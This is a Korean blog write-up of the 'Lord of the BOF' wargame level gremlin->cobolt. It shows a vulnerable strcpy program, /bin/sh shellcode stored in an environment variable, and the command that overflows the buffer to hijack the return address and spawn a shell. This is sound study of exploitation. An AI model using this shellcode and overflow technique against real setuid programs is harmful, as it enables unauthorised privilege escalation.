반응형

/* 1. gremlin으로 로그인 하고 난 뒤 내용물을 봅시다.*/

[gremlin@localhost gremlin]$ ls -al

total 156

drwx------    2 gremlin  gremlin      4096 Oct 26 16:06 .

drwxr-xr-x   25 root     root         4096 Mar 30  2010 ..

-rw-------    1 gremlin  gremlin      8903 Oct 26 11:39 .bash_history

-rw-r--r--    1 gremlin  gremlin        24 Feb 26  2010 .bash_logout

-rw-r--r--    1 gremlin  gremlin       230 Feb 26  2010 .bash_profile

-rw-r--r--    1 gremlin  gremlin       124 Feb 26  2010 .bashrc

-rwxr-xr-x    1 gremlin  gremlin       333 Feb 26  2010 .emacs

-rw-r--r--    1 gremlin  gremlin      3394 Feb 26  2010 .screenrc

-rwxrwxr-x    1 gremlin  gremlin     11883 Oct 26 03:31 a.out

-rw-rw-r--    1 gremlin  gremlin       291 Oct 25 22:40 cobalt.c

-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt

-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

-rw-------    1 gremlin  gremlin     61440 Oct 25 22:41 core

-rwxrwxr-x    1 gremlin  gremlin     11842 Oct 26 16:06 getenv

-rw-rw-r--    1 gremlin  gremlin        97 Oct 26 16:05 getenv.c

-rw-rw-r--    1 gremlin  gremlin       143 Oct 26 03:31 whereis.c


COBOLT:

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

/*버퍼가 작습니다. 여기서 메모리는 '버퍼 16바이트, sfp 4바이트, 리턴어드레스 4바이트'로 이루어져있다고 가정할수 있습니다.*/


/* 2. export명령어로 환경변수를 만듭니다. 여기서 print문도 꼭 포함하셔야 합니다*/

[gremlin@localhost gremlin]$ export GREMLIN=`perl -e 'print"\x6a\x0b\x58\x99\x5

2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`


/* 3. env명령어로 환경변수가 잘 들어갔는지 봅니다.*/

[gremlin@localhost gremlin]$ env

PWD=/home/gremlin

REMOTEHOST=192.168.0.1

HOSTNAME=localhost.localdomain

LESSOPEN=|/usr/bin/lesspipe.sh %s

USER=gremlin

LS_COLORS=

MACHTYPE=i386-redhat-linux-gnu

MAIL=/var/spool/mail/gremlin

INPUTRC=/etc/inputrc

BASH_ENV=/home/gremlin/.bashrc

GREMLIN=j

         X셊h//shh/bin됥RS됣?  //굿

LANG=en_US

LOGNAME=gremlin

SHLVL=2

USERNAME=

SHELL=/bin/bash

HOSTTYPE=i386

HISTSIZE=1000

OSTYPE=linux-gnu

TERM=ansi

HOME=/home/gremlin

PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gremlin/bin

COBOLT=j

        X셊h//shh/bin됥RS됣?

_=/usr/bin/env


/* 4. 환경변수의 주소를 알아냅니다.*/

[gremlin@localhost gremlin]$ cat getenv.c

#include <stdio.h>

int main(int argc, char *argv[]){

printf("%p\n",getenv(argv[1]));

return 0;

}

[gremlin@localhost gremlin]$ ./getenv GREMLIN

0xbffffee7 //이게 리턴어드레스가 됩니다


/* 5. 필요한 양의 nop를 넣고 리턴어드레스를 넣습니다.*/

[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print"\x90"x20, "\xe7\xfe\xff\x

bf"'`

릱릱릱릱릱릱릱릱릱릱澳

풺ash$ my-pass


역시 이번에도 달고나 문서가 많은 도움이 되었습니다.

기본은 조금씩 감이 잡히네요. 그래서 그런지 지난번보다는 덜 헤맨것같아요.


NOTES:

GREMLIN=  0xbffffee7

"\xe7\xfe\xff\xbf"'`

buffer=16

nop 20, ret 4


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
gate->gremlin  (0) 2013.10.27

+ Recent posts